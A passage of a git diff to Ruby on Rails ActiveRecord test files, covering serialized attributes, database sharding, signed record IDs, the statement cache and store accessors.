+    myobj = { "somevalue" => "thevalue" }
+    topic = klass.create!(object: myobj)
+    assert_equal(myobj, topic.object)
+
+    topic.reload
+    assert_equal(myobj, topic.object)
+  end
+
+  def test_unexpected_serialized_type
+    Topic.serialize :content, type: Hash
+    topic = Topic.create!(content: { "zomg" => true })
+
+    Topic.serialize :content, type: Array
+
+    topic.reload
+    error = assert_raise(ActiveRecord::SerializationTypeMismatch) do
+      topic.content
+    end
+    expected = "can't load `content`: was supposed to be a Array, but was a Hash. -- #{{ "zomg" => true }}"
+    assert_equal expected, error.to_s
+  end
+
+  def test_serialize_attribute_via_select_method_when_time_zone_available
+    with_timezone_config aware_attributes: true do
+      Topic.serialize(:content, type: Hash)
+
+      myobj = { "somevalue" => "thevalue" }
+      topic = Topic.create(content: myobj)
+
+      assert_equal(myobj, Topic.select(:content).find(topic.id).content)
+      assert_raise(ActiveModel::MissingAttributeError) { Topic.select(:id).find(topic.id).content }
+    end
+  end
+
+  def test_should_raise_exception_on_serialized_attribute_with_type_mismatch
+    myobj = { "somevalue" => "thevalue" }
+    topic = Topic.new(content: myobj)
+    assert topic.save
+    Topic.serialize(:content, type: String)
+    assert_raise(ActiveRecord::SerializationTypeMismatch) { Topic.find(topic.id).content }
+  end
+
+  def test_serialized_time_attribute
+    skip "Time is a DisallowedClass in Psych safe_load()."
+  end
+
+  def test_supports_permitted_classes_for_default_column_serializer
+    Topic.serialize(:content, yaml: { permitted_classes: [Time] })
+    topic = Topic.new(content: Time.now)
+    assert topic.save
+  end
+
+  def test_changed_in_place_compare_serialized_representation
+    Topic.serialize :content, type: Hash
+    topic = Topic.create!(content: { "a" => 1, "b" => 2 })
+
+    topic.content = { "a" => 1, "b" => 2 }
+    assert_not_predicate topic, :content_changed?
+
+    topic.content = { "b" => 2, "a" => 1 }
+    assert_predicate topic, :content_changed?
+  end
+
+  def test_changed_in_place_compare_deserialized_representation_when_comparable_is_set
+    Topic.serialize :content, type: Hash, comparable: true
+    topic = Topic.create!(content: { "a" => 1, "b" => 2 })
+
+    topic.content = { "a" => 1, "b" => 2 }
+    assert_not_predicate topic, :content_changed?
+
+    topic.content = { "b" => 2, "a" => 1 }
+    assert_not_predicate topic, :content_changed?
+
+    topic.content = {}
+    assert_predicate topic, :content_changed?
   end
 end
diff --git a/activerecord/test/cases/shard_keys_test.rb b/activerecord/test/cases/shard_keys_test.rb
new file mode 100644
index 0000000000000..adde96266e9ce
--- /dev/null
+++ b/activerecord/test/cases/shard_keys_test.rb
@@ -0,0 +1,125 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  class ShardsKeysTest < ActiveRecord::TestCase
+    class UnshardedBase < ActiveRecord::Base
+      self.abstract_class = true
+    end
+
+    class UnshardedModel < UnshardedBase
+    end
+
+    class ShardedBase < ActiveRecord::Base
+      self.abstract_class = true
+    end
+
+    class ShardedModel < ShardedBase
+    end
+
+    def setup
+      ActiveRecord::Base.instance_variable_set(:@shard_keys, nil)
+      @previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+      config = {
+        "default_env" => {
+          "primary" => {
+            adapter: "sqlite3",
+            database: ":memory:"
+          },
+          "shard_one" => {
+            adapter: "sqlite3",
+            database: ":memory:"
+          },
+          "shard_one_reading" => {
+            adapter: "sqlite3",
+            database: ":memory:"
+          },
+          "shard_two" => {
+            adapter: "sqlite3",
+            database: ":memory:"
+          },
+          "shard_two_reading" => {
+            adapter: "sqlite3",
+            database: ":memory:"
+          },
+        }
+      }
+
+      @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+      UnshardedBase.connects_to database: { writing: :primary }
+
+      ShardedBase.connects_to shards: {
+        shard_one: { writing: :shard_one, reading: :shard_one_reading },
+        shard_two: { writing: :shard_two, reading: :shard_two_reading },
+      }
+    end
+
+    def teardown
+      clean_up_connection_handler
+      ActiveRecord::Base.configurations = @prev_configs
+      ActiveRecord::Base.establish_connection(:arunit)
+      ENV["RAILS_ENV"] = @previous_env
+    end
+
+    def test_connects_to_sets_shard_keys
+      assert_empty(ActiveRecord::Base.shard_keys)
+      assert_equal([:shard_one, :shard_two], ShardedBase.shard_keys)
+    end
+
+    def test_connects_to_sets_shard_keys_for_descendents
+      assert_equal(ShardedBase.shard_keys, ShardedModel.shard_keys)
+    end
+
+    def test_sharded?
+      assert_not ActiveRecord::Base.sharded?
+      assert_not UnshardedBase.sharded?
+      assert_not UnshardedModel.sharded?
+
+      assert_predicate ShardedBase, :sharded?
+      assert_predicate ShardedModel, :sharded?
+    end
+
+    def test_connected_to_all_shards
+      unsharded_results = UnshardedBase.connected_to_all_shards do
+        UnshardedBase.connection_pool.db_config.name
+      end
+
+      sharded_results = ShardedBase.connected_to_all_shards do
+        ShardedBase.connection_pool.db_config.name
+      end
+
+      assert_empty unsharded_results
+      assert_equal(["shard_one", "shard_two"], sharded_results)
+    end
+
+    def test_connected_to_all_shards_can_switch_each_to_reading_role
+      # We teardown the shared connection pool and call .connects_to again
+      # because .setup_shared_connection_pool overwrites our reading configs
+      # with the writing role configs.
+      teardown_shared_connection_pool
+      ShardedBase.connects_to shards: {
+        shard_one: { writing: :shard_one, reading: :shard_one_reading },
+        shard_two: { writing: :shard_two, reading: :shard_two_reading },
+      }
+
+      results = ShardedBase.connected_to_all_shards(role: :reading) do
+        ShardedBase.connection_pool.db_config.name
+      end
+
+      assert_equal(["shard_one_reading", "shard_two_reading"], results)
+    end
+
+    def test_connected_to_all_shards_respects_preventing_writes
+      assert_not ShardedBase.current_preventing_writes
+
+      results = ShardedBase.connected_to_all_shards(role: :writing, prevent_writes: true) do
+        ShardedBase.current_preventing_writes
+      end
+
+      assert_equal([true, true], results)
+    end
+  end
+end
diff --git a/activerecord/test/cases/shard_selector_test.rb b/activerecord/test/cases/shard_selector_test.rb
new file mode 100644
index 0000000000000..160674d845c6b
--- /dev/null
+++ b/activerecord/test/cases/shard_selector_test.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/person"
+require "action_dispatch"
+
+module ActiveRecord
+  class ShardSelectorTest < ActiveRecord::TestCase
+    def test_middleware_locks_to_shard_by_default
+      middleware = ActiveRecord::Middleware::ShardSelector.new(lambda { |env|
+        assert_predicate ActiveRecord::Base, :shard_swapping_prohibited?
+        [200, {}, ["body"]]
+      }, ->(*) { :shard_one })
+
+      assert_equal [200, {}, ["body"]], middleware.call("REQUEST_METHOD" => "GET")
+    end
+
+    def test_middleware_can_turn_off_lock_option
+      middleware = ActiveRecord::Middleware::ShardSelector.new(lambda { |env|
+        assert_not_predicate ActiveRecord::Base, :shard_swapping_prohibited?
+        [200, {}, ["body"]]
+      }, ->(*) { :shard_one }, { lock: false })
+
+      assert_equal [200, {}, ["body"]], middleware.call("REQUEST_METHOD" => "GET")
+    end
+
+    def test_middleware_can_change_shards
+      middleware = ActiveRecord::Middleware::ShardSelector.new(lambda { |env|
+        assert ActiveRecord::Base.connected_to?(role: :writing, shard: :shard_one)
+        [200, {}, ["body"]]
+      }, ->(*) { :shard_one })
+
+      assert_equal [200, {}, ["body"]], middleware.call("REQUEST_METHOD" => "GET")
+    end
+
+    def test_middleware_can_handle_string_shards
+      middleware = ActiveRecord::Middleware::ShardSelector.new(lambda { |env|
+        assert ActiveRecord::Base.connected_to?(role: :writing, shard: :shard_one)
+        [200, {}, ["body"]]
+      }, ->(*) { "shard_one" })
+
+      assert_equal [200, {}, ["body"]], middleware.call("REQUEST_METHOD" => "GET")
+    end
+
+    def test_middleware_can_do_granular_database_connection_switching
+      klass = Class.new(ActiveRecord::Base) do |k|
+        class << self
+          attr_reader :connected_to_shard
+
+          def connected_to(shard:)
+            @connected_to_shard = shard
+            yield
+          end
+
+          def prohibit_shard_swapping(...)
+            yield
+          end
+
+          def connected_to?(role: nil, shard:)
+            @connected_to_shard.to_sym == shard.to_sym
+          end
+        end
+      end
+      Object.const_set :ShardSelectorTestModel, klass
+
+      middleware = ActiveRecord::Middleware::ShardSelector.new(lambda { |env|
+        assert_not ActiveRecord::Base.connected_to?(role: :writing, shard: :shard_one)
+        assert klass.connected_to?(role: :writing, shard: :shard_one)
+        [200, {}, ["body"]]
+      }, ->(*) { :shard_one }, { class_name: "ShardSelectorTestModel" })
+
+      assert_equal [200, {}, ["body"]], middleware.call("REQUEST_METHOD" => "GET")
+      assert_equal(:shard_one, klass.connected_to_shard)
+    ensure
+      Object.send(:remove_const, :ShardSelectorTestModel)
+    end
+  end
+end
diff --git a/activerecord/test/cases/signed_id_test.rb b/activerecord/test/cases/signed_id_test.rb
new file mode 100644
index 0000000000000..c73b157e73e94
--- /dev/null
+++ b/activerecord/test/cases/signed_id_test.rb
@@ -0,0 +1,286 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/account"
+require "models/company"
+require "models/toy"
+require "models/matey"
+
+class SignedIdTest < ActiveRecord::TestCase
+  class GetSignedIDInCallback < ActiveRecord::Base
+    self.table_name = "accounts"
+    after_create :set_signed_id
+    attr_reader :signed_id_from_callback
+
+    private
+      def set_signed_id
+        @signed_id_from_callback = signed_id
+      end
+  end
+
+  fixtures :accounts, :toys, :companies
+
+  setup do
+    @original_message_verifiers = ActiveRecord.message_verifiers
+    ActiveRecord.message_verifiers = ActiveSupport::MessageVerifiers.new { "secret" }.rotate_defaults
+
+    @account = Account.first
+    @toy = Toy.first
+  end
+
+  teardown do
+    ActiveRecord.message_verifiers = @original_message_verifiers
+  end
+
+  test "find signed record" do
+    assert_equal @account, Account.find_signed(@account.signed_id)
+  end
+
+  test "find signed record on relation" do
+    assert_equal @account, Account.where("1=1").find_signed(@account.signed_id)
+
+    assert_nil Account.where("1=0").find_signed(@account.signed_id)
+  end
+
+  test "find signed record with custom primary key" do
+    assert_equal @toy, Toy.find_signed(@toy.signed_id)
+  end
+
+  test "find signed record for single table inheritance (STI Models)" do
+    assert_equal Company.first, Company.find_signed(Company.first.signed_id)
+  end
+
+  test "find signed record raises UnknownPrimaryKey when a model has no primary key" do
+    error = assert_raises(ActiveRecord::UnknownPrimaryKey) do
+      Matey.find_signed("this will not be even verified")
+    end
+    assert_equal "Unknown primary key for table mateys in model Matey.", error.message
+  end
+
+  test "find signed record with a bang" do
+    assert_equal @account, Account.find_signed!(@account.signed_id)
+  end
+
+  test "find signed record with a bang on relation" do
+    assert_equal @account, Account.where("1=1").find_signed!(@account.signed_id)
+
+    assert_raises(ActiveRecord::RecordNotFound) do
+      Account.where("1=0").find_signed!(@account.signed_id)
+    end
+  end
+
+  test "find signed record with a bang with custom primary key" do
+    assert_equal @toy, Toy.find_signed!(@toy.signed_id)
+  end
+
+  test "find signed record with a bang for single table inheritance (STI Models)" do
+    assert_equal Company.first, Company.find_signed!(Company.first.signed_id)
+  end
+
+  test "fail to find record from broken signed id" do
+    assert_nil Account.find_signed("this won't find anything")
+  end
+
+  test "find signed record within expiration duration" do
+    assert_equal @account, Account.find_signed(@account.signed_id(expires_in: 1.minute))
+  end
+
+  test "fail to find signed record within expiration duration" do
+    signed_id = @account.signed_id(expires_in: 1.minute)
+    travel 2.minutes
+    assert_nil Account.find_signed(signed_id)
+  end
+
+  test "fail to find record from that has since been destroyed" do
+    signed_id = @account.signed_id(expires_in: 1.minute)
+    @account.destroy
+    assert_nil Account.find_signed signed_id
+  end
+
+  test "find signed record within expiration time" do
+    assert_equal @account, Account.find_signed(@account.signed_id(expires_at: 1.minute.from_now))
+  end
+
+  test "fail to find signed record within expiration time" do
+    signed_id = @account.signed_id(expires_at: 1.minute.from_now)
+    travel 2.minutes
+    assert_nil Account.find_signed(signed_id)
+  end
+
+  test "find signed record with purpose" do
+    assert_equal @account, Account.find_signed(@account.signed_id(purpose: :v1), purpose: :v1)
+  end
+
+  test "fail to find signed record with purpose" do
+    assert_nil Account.find_signed(@account.signed_id(purpose: :v1))
+
+    assert_nil Account.find_signed(@account.signed_id(purpose: :v1), purpose: :v2)
+  end
+
+  test "finding record from broken signed id raises on the bang" do
+    assert_raises(ActiveSupport::MessageVerifier::InvalidSignature) do
+      Account.find_signed! "this will blow up"
+    end
+  end
+
+  test "find signed record with a bang within expiration duration" do
+    assert_equal @account, Account.find_signed!(@account.signed_id(expires_in: 1.minute))
+  end
+
+  test "finding signed record outside expiration duration raises on the bang" do
+    signed_id = @account.signed_id(expires_in: 1.minute)
+    travel 2.minutes
+
+    assert_raises(ActiveSupport::MessageVerifier::InvalidSignature) do
+      Account.find_signed!(signed_id)
+    end
+  end
+
+  test "finding signed record that has been destroyed raises on the bang" do
+    signed_id = @account.signed_id(expires_in: 1.minute)
+    @account.destroy
+
+    assert_raises(ActiveRecord::RecordNotFound) do
+      Account.find_signed!(signed_id)
+    end
+  end
+
+  test "find signed record with bang with purpose" do
+    assert_equal @account, Account.find_signed!(@account.signed_id(purpose: :v1), purpose: :v1)
+  end
+
+  test "find signed record with bang with purpose raises" do
+    assert_raises(ActiveSupport::MessageVerifier::InvalidSignature) do
+      Account.find_signed!(@account.signed_id(purpose: :v1))
+    end
+
+    assert_raises(ActiveSupport::MessageVerifier::InvalidSignature) do
+      Account.find_signed!(@account.signed_id(purpose: :v1), purpose: :v2)
+    end
+  end
+
+  test "deprecation warning for setting signed_id_verifier_secret" do
+    assert_deprecated(ActiveRecord.deprecator) do
+      ActiveRecord::Base.signed_id_verifier_secret = "new secret"
+    end
+  ensure
+    ActiveRecord.deprecator.silence do
+      ActiveRecord::Base.signed_id_verifier_secret = nil
+    end
+  end
+
+  test "fail to work when signed_id_verifier_secret lambda is nil" do
+    @original_secret = ActiveRecord::Base.signed_id_verifier_secret
+
+    ActiveRecord.deprecator.silence do
+      ActiveRecord::Base.signed_id_verifier_secret = -> { nil }
+    end
+
+    assert_raises(ArgumentError) do
+      model.signed_id
+    end
+  ensure
+    ActiveRecord.deprecator.silence do
+      ActiveRecord::Base.signed_id_verifier_secret = @original_secret
+    end
+  end
+
+  test "signed_id_verifier is ActiveRecord.message_verifiers['active_record/signed_id'] by default" do
+    assert_same ActiveRecord.message_verifiers["active_record/signed_id"], model_class.signed_id_verifier
+  end
+
+  test "signed_id raises when ActiveRecord.message_verifiers has not been set" do
+    ActiveRecord.message_verifiers = nil
+
+    assert_raises(match: /to use signed IDs/) do
+      model.signed_id
+    end
+  end
+
+  test "using custom signed_id_verifier" do
+    model_class.signed_id_verifier = ActiveSupport::MessageVerifier.new("custom secret")
+    assert_equal model, model_class.find_signed(model.signed_id)
+  end
+
+  test "signed_id_verifier behaves as class_attribute" do
+    assert_same ActiveRecord::Base.signed_id_verifier, model_class.signed_id_verifier
+    assert_same model_class.signed_id_verifier, model_subclass.signed_id_verifier
+
+    model_class.signed_id_verifier = ActiveSupport::MessageVerifier.new("secret")
+
+    assert_not_same ActiveRecord::Base.signed_id_verifier, model_class.signed_id_verifier
+    assert_same model_class.signed_id_verifier, model_subclass.signed_id_verifier
+  end
+
+  test "when signed_id_verifier_secret is set, signed_id_verifier behaves as singleton instance variable" do
+    ActiveRecord.deprecator.silence do
+      model_class.signed_id_verifier_secret = "secret"
+    end
+
+    assert_no_changes -> { [ActiveRecord::Base.signed_id_verifier, model_subclass.signed_id_verifier] } do
+      model_class.signed_id_verifier = ActiveSupport::MessageVerifier.new("secret")
+    end
+  end
+
+  test "when signed_id_verifier_secret is set, signed_id_verifier uses legacy options by default" do
+    ActiveRecord.deprecator.silence do
+      model_class.signed_id_verifier_secret = "secret"
+    end
+
+    legacy_verifier = ActiveSupport::MessageVerifier.new("secret", digest: "SHA256", serializer: JSON, url_safe: true)
+
+    assert_equal "message", legacy_verifier.verify(model_class.signed_id_verifier.generate("message"))
+    assert_equal "message", model_class.signed_id_verifier.verify(legacy_verifier.generate("message"))
+  end
+
+  test "on_rotation callback using custom verifier" do
+    model_class.signed_id_verifier = ActiveSupport::MessageVerifier.new("old secret")
+    old_signed_id = model.signed_id
+
+    on_rotation_is_called = false
+    model_class.signed_id_verifier = ActiveSupport::MessageVerifier.new("new secret", on_rotation: -> { on_rotation_is_called = true })
+    model_class.signed_id_verifier.rotate("old secret")
+
+    model_class.find_signed(old_signed_id)
+    assert on_rotation_is_called
+  end
+
+  test "on_rotation callback using find_signed & find_signed!" do
+    model_class.signed_id_verifier = ActiveSupport::MessageVerifier.new("old secret")
+    old_signed_id = model.signed_id
+
+    model_class.signed_id_verifier = ActiveSupport::MessageVerifier.new("new secret")
+    model_class.signed_id_verifier.rotate("old secret")
+
+    on_rotation_is_called = false
+    assert model_class.find_signed(old_signed_id, on_rotation: -> { on_rotation_is_called = true })
+    assert on_rotation_is_called
+
+    on_rotation_is_called = false
+    assert model_class.find_signed!(old_signed_id, on_rotation: -> { on_rotation_is_called = true })
+    assert on_rotation_is_called
+  end
+
+  test "cannot get a signed ID for a new record" do
+    assert_raises ArgumentError, match: /Cannot get a signed_id for a new record/ do
+      Account.new.signed_id
+    end
+  end
+
+  test "can get a signed ID in an after_create" do
+    assert_not_nil GetSignedIDInCallback.create.signed_id_from_callback
+  end
+
+  private
+    def model_class
+      @model_class ||= Class.new(Account)
+    end
+
+    def model_subclass
+      @model_subclass ||= Class.new(model_class)
+    end
+
+    def model
+      @model ||= model_class.first
+    end
+end
diff --git a/activerecord/test/cases/statement_cache_test.rb b/activerecord/test/cases/statement_cache_test.rb
index fab3648564e14..7262833cd70d9 100644
--- a/activerecord/test/cases/statement_cache_test.rb
+++ b/activerecord/test/cases/statement_cache_test.rb
@@ -1,27 +1,30 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/book"
 require "models/liquid"
 require "models/molecule"
+require "models/numeric_data"
 require "models/electron"
+require "models/clothing_item"
 
 module ActiveRecord
   class StatementCacheTest < ActiveRecord::TestCase
     def setup
-      @connection = ActiveRecord::Base.connection
+      @connection = ActiveRecord::Base.lease_connection
     end
 
-    #Cache v 1.1 tests
     def test_statement_cache
       Book.create(name: "my book")
       Book.create(name: "my other book")
 
-      cache = StatementCache.create(Book.connection) do |params|
+      cache = StatementCache.create(ClothingItem.lease_connection) do |params|
         Book.where(name: params.bind)
       end
 
-      b = cache.execute([ "my book" ], Book, Book.connection)
+      b = cache.execute([ "my book" ], ClothingItem.lease_connection)
       assert_equal "my book", b[0].name
-      b = cache.execute([ "my other book" ], Book, Book.connection)
+      b = cache.execute([ "my other book" ], ClothingItem.lease_connection)
       assert_equal "my other book", b[0].name
     end
 
@@ -29,13 +32,13 @@ def test_statement_cache_id
       b1 = Book.create(name: "my book")
       b2 = Book.create(name: "my other book")
 
-      cache = StatementCache.create(Book.connection) do |params|
+      cache = StatementCache.create(ClothingItem.lease_connection) do |params|
         Book.where(id: params.bind)
       end
 
-      b = cache.execute([ b1.id ], Book, Book.connection)
+      b = cache.execute([ b1.id ], ClothingItem.lease_connection)
       assert_equal b1.name, b[0].name
-      b = cache.execute([ b2.id ], Book, Book.connection)
+      b = cache.execute([ b2.id ], ClothingItem.lease_connection)
       assert_equal b2.name, b[0].name
     end
 
@@ -49,21 +52,19 @@ def test_find_or_create_by
       assert_equal("my other book", b.name)
     end
 
-    #End
-
     def test_statement_cache_with_simple_statement
-      cache = ActiveRecord::StatementCache.create(Book.connection) do |params|
+      cache = ActiveRecord::StatementCache.create(ClothingItem.lease_connection) do |params|
         Book.where(name: "my book").where("author_id > 3")
       end
 
       Book.create(name: "my book", author_id: 4)
 
-      books = cache.execute([], Book, Book.connection)
+      books = cache.execute([], ClothingItem.lease_connection)
       assert_equal "my book", books[0].name
     end
 
     def test_statement_cache_with_complex_statement
-      cache = ActiveRecord::StatementCache.create(Book.connection) do |params|
+      cache = ActiveRecord::StatementCache.create(ClothingItem.lease_connection) do |params|
         Liquid.joins(molecules: :electrons).where("molecules.name" => "dioxane", "electrons.name" => "lepton")
       end
 
@@ -71,12 +72,17 @@ def test_statement_cache_with_complex_statement
       molecule = salty.molecules.create(name: "dioxane")
       molecule.electrons.create(name: "lepton")
 
-      liquids = cache.execute([], Book, Book.connection)
+      liquids = cache.execute([], ClothingItem.lease_connection)
       assert_equal "salty", liquids[0].name
     end
 
+    def test_statement_cache_with_strictly_cast_attribute
+      row = NumericData.create(temperature: 1.5)
+      assert_equal row, NumericData.find_by(temperature: 1.5)
+    end
+
     def test_statement_cache_values_differ
-      cache = ActiveRecord::StatementCache.create(Book.connection) do |params|
+      cache = ActiveRecord::StatementCache.create(ClothingItem.lease_connection) do |params|
         Book.where(name: "my book")
       end
 
@@ -84,14 +90,14 @@ def test_statement_cache_values_differ
         Book.create(name: "my book")
       end
 
-      first_books = cache.execute([], Book, Book.connection)
+      first_books = cache.execute([], ClothingItem.lease_connection)
 
       3.times do
         Book.create(name: "my book")
       end
 
-      additional_books = cache.execute([], Book, Book.connection)
-      assert first_books != additional_books
+      additional_books = cache.execute([], ClothingItem.lease_connection)
+      assert_not_equal first_books, additional_books
     end
 
     def test_unprepared_statements_dont_share_a_cache_with_prepared_statements
@@ -99,37 +105,50 @@ def test_unprepared_statements_dont_share_a_cache_with_prepared_statements
       Book.create(name: "my other book")
 
       book = Book.find_by(name: "my book")
-      other_book = Book.connection.unprepared_statement do
+      other_book = Book.lease_connection.unprepared_statement do
         Book.find_by(name: "my other book")
       end
 
-      refute_equal book, other_book
+      assert_not_equal book, other_book
     end
 
     def test_find_by_does_not_use_statement_cache_if_table_name_is_changed
-      book = Book.create(name: "my book")
+      liquid = Liquid.create(name: "salty")
 
-      Book.find_by(name: book.name) # warming the statement cache.
+      Liquid.find_by(name: liquid.name) # warming the statement cache.
 
       # changing the table name should change the query that is not cached.
-      Book.table_name = :birds
-      assert_nil Book.find_by(name: book.name)
+      Liquid.table_name = :birds
+      assert_nil Liquid.find_by(name: liquid.name)
     ensure
-      Book.table_name = :books
+      Liquid.table_name = :liquid
     end
 
     def test_find_does_not_use_statement_cache_if_table_name_is_changed
-      book = Book.create(name: "my book")
+      liquid = Liquid.create(name: "salty")
 
-      Book.find(book.id) # warming the statement cache.
+      Liquid.find(liquid.id) # warming the statement cache.
 
       # changing the table name should change the query that is not cached.
-      Book.table_name = :birds
+      Liquid.table_name = :birds
       assert_raise ActiveRecord::RecordNotFound do
-        Book.find(book.id)
+        Liquid.find(liquid.id)
       end
     ensure
-      Book.table_name = :books
+      Liquid.table_name = :liquid
+    end
+
+    def test_find_association_does_not_use_statement_cache_if_table_name_is_changed
+      salty = Liquid.create(name: "salty")
+      molecule = salty.molecules.create(name: "dioxane")
+
+      assert_equal salty, molecule.liquid
+
+      Liquid.table_name = :birds
+
+      assert_nil molecule.reload_liquid
+    ensure
+      Liquid.table_name = :liquid
     end
   end
 end
diff --git a/activerecord/test/cases/statement_invalid_test.rb b/activerecord/test/cases/statement_invalid_test.rb
new file mode 100644
index 0000000000000..73610695785ba
--- /dev/null
+++ b/activerecord/test/cases/statement_invalid_test.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/book"
+
+module ActiveRecord
+  class StatementInvalidTest < ActiveRecord::TestCase
+    fixtures :books
+
+    class MockDatabaseError < StandardError
+      def result
+        0
+      end
+
+      def error_number
+        0
+      end
+    end
+
+    test "message contains no sql" do
+      sql = Book.where(author_id: 96, cover: "hard").to_sql
+      connection = Book.lease_connection
+      intent = ActiveRecord::ConnectionAdapters::QueryIntent.new(adapter: connection, processed_sql: sql, name: Book.name)
+      error = assert_raises(ActiveRecord::StatementInvalid) do
+        connection.send(:log, intent) do
+          connection.send(:with_raw_connection) do
+            raise MockDatabaseError
+          end
+        end
+      end
+      assert_not error.message.include?("SELECT")
+    end
+
+    test "statement and binds are set on select" do
+      sql = Book.where(author_id: 96, cover: "hard").to_sql
+      binds = [123, 456]
+      connection = Book.lease_connection
+      intent = ActiveRecord::ConnectionAdapters::QueryIntent.new(adapter: connection, processed_sql: sql, name: Book.name, binds: binds)
+      error = assert_raises(ActiveRecord::StatementInvalid) do
+        connection.send(:log, intent) do
+          connection.send(:with_raw_connection) do
+            raise MockDatabaseError
+          end
+        end
+      end
+      assert_equal error.sql, sql
+      assert_equal error.binds, binds
+    end
+  end
+end
diff --git a/activerecord/test/cases/store_test.rb b/activerecord/test/cases/store_test.rb
index 633a8a0ebc53f..9c046690fd8dd 100644
--- a/activerecord/test/cases/store_test.rb
+++ b/activerecord/test/cases/store_test.rb
@@ -1,12 +1,21 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/admin"
 require "models/admin/user"
+require "models/admin/user_json"
+require "models/account"
 
 class StoreTest < ActiveRecord::TestCase
   fixtures :'admin/users'
 
   setup do
-    @john = Admin::User.create!(name: "John Doe", color: "black", remember_login: true, height: "tall", is_a_good_guy: true)
+    @john = Admin::User.create!(
+      name: "John Doe", color: "black", remember_login: true,
+      height: "tall", is_a_good_guy: true,
+      parent_name: "Quinn", partner_name: "Dallas",
+      partner_birthday: "1997-11-1"
+    )
   end
 
   test "reading store attributes through accessors" do
@@ -22,6 +31,35 @@ class StoreTest < ActiveRecord::TestCase
     assert_equal "37signals.com", @john.homepage
   end
 
+  test "reading store attributes with indifferent access" do
+    @john.preferences = { "remember_login" => "yes" }
+    assert_equal "yes", @john.remember_login
+
+    @john.preferences = { remember_login: "no" }
+    assert_equal "no", @john.remember_login
+  end
+
+  test "writing store attributes does not update unchanged value" do
+    admin_user = Admin::User.new(homepage: nil)
+    admin_user.homepage = nil
+    assert_equal({}, admin_user.settings)
+  end
+
+  test "reading store attributes through accessors with prefix" do
+    assert_equal "Quinn", @john.parent_name
+    assert_nil @john.parent_birthday
+    assert_equal "Dallas", @john.partner_name
+    assert_equal "1997-11-1", @john.partner_birthday
+  end
+
+  test "writing store attributes through accessors with prefix" do
+    @john.partner_name = "River"
+    @john.partner_birthday = "1999-2-11"
+
+    assert_equal "River", @john.partner_name
+    assert_equal "1999-2-11", @john.partner_birthday
+  end
+
   test "accessing attributes not exposed by accessors" do
     @john.settings[:icecream] = "graeters"
     @john.save
@@ -43,7 +81,7 @@ class StoreTest < ActiveRecord::TestCase
 
   test "updating the store will mark it as changed" do
     @john.color = "red"
-    assert @john.settings_changed?
+    assert_predicate @john, :settings_changed?
   end
 
   test "updating the store populates the changed array correctly" do
@@ -54,7 +92,100 @@ class StoreTest < ActiveRecord::TestCase
 
   test "updating the store won't mark it as changed if an attribute isn't changed" do
     @john.color = @john.color
-    assert !@john.settings_changed?
+    assert_not_predicate @john, :settings_changed?
+  end
+
+  test "updating the store will mark accessor as changed" do
+    @john.color = "red"
+    assert_predicate @john, :color_changed?
+  end
+
+  test "new record and no accessors changes" do
+    user = Admin::User.new
+    assert_not user.color_changed?
+    assert_nil user.color_was
+    assert_nil user.color_change
+
+    user.color = "red"
+    assert_predicate user, :color_changed?
+    assert_nil user.color_was
+    assert_equal "red", user.color_change[1]
+  end
+
+  test "updating the store won't mark accessor as changed if the whole store was updated" do
+    @john.settings = { color: @john.color, some: "thing" }
+    assert_predicate @john, :settings_changed?
+    assert_not @john.color_changed?
+  end
+
+  test "updating the store and changing it back won't mark accessor as changed" do
+    @john.color = "red"
+    assert_equal "black", @john.color_was
+    @john.color = "black"
+    assert_not_predicate @john, :settings_changed?
+    assert_not_predicate @john, :color_changed?
+  end
+
+  test "updating the store populates the accessor changed array correctly" do
+    @john.color = "red"
+    assert_equal "black", @john.color_was
+    assert_equal "black", @john.color_change[0]
+    assert_equal "red", @john.color_change[1]
+  end
+
+  test "updating the store won't mark accessor as changed if the value isn't changed" do
+    @john.color = @john.color
+    assert_not @john.color_changed?
+  end
+
+  test "nullifying the store mark accessor as changed" do
+    color = @john.color
+    @john.settings = nil
+    assert_predicate @john, :color_changed?
+    assert_equal color, @john.color_was
+    assert_equal [color, nil], @john.color_change
+  end
+
+  test "dirty methods for suffixed accessors" do
+    @john.configs[:two_factor_auth] = true
+    assert_predicate @john, :two_factor_auth_configs_changed?
+    assert_nil @john.two_factor_auth_configs_was
+    assert_equal [nil, true], @john.two_factor_auth_configs_change
+  end
+
+  test "dirty methods for prefixed accessors" do
+    @john.spouse[:name] = "Lena"
+    assert_predicate @john, :partner_name_changed?
+    assert_equal "Dallas", @john.partner_name_was
+    assert_equal ["Dallas", "Lena"], @john.partner_name_change
+  end
+
+  test "saved changes tracking for accessors" do
+    @john.spouse[:name] = "Lena"
+    assert_predicate @john, :partner_name_changed?
+
+    @john.save!
+    assert_not @john.partner_name_change
+    assert_predicate @john, :saved_change_to_partner_name?
+    assert_equal ["Dallas", "Lena"], @john.saved_change_to_partner_name
+    assert_equal "Dallas", @john.partner_name_before_last_save
+  end
+
+  test "saved changes tracking for accessors with json column" do
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter) && ActiveRecord::Base.lease_connection.mariadb?
+      skip "MariaDB doesn't support JSON store_accessor"
+    end
+    @john.enable_friend_requests = true
+    assert_predicate @john, :enable_friend_requests_changed?
+
+    @john.save!
+    assert_not @john.enable_friend_requests_change
+    assert_predicate @john, :saved_change_to_enable_friend_requests?
+    assert_equal [nil, true], @john.saved_change_to_enable_friend_requests
+    # Make a second change to test key_before_last_save
+    @john.enable_friend_requests = false
+    @john.save
+    assert_equal true, @john.enable_friend_requests_before_last_save
   end
 
   test "object initialization with not nullable column" do
@@ -88,7 +219,24 @@ class StoreTest < ActiveRecord::TestCase
     assert_equal "heavy", @john.json_data["weight"]
   end
 
-  test "convert store attributes from Hash to HashWithIndifferentAccess saving the data and access attributes indifferently" do
+  test "serialize stored nested attributes" do
+    user = Admin::User.find_by_name("Jamis")
+    user.update(settings: { "color" => { "jenny" => "blue" }, homepage: "rails" })
+
+    assert_equal true, user.settings.instance_of?(ActiveSupport::HashWithIndifferentAccess)
+    assert_equal "blue", user.settings[:color][:jenny]
+    assert_equal "blue", user.color[:jenny]
+  end
+
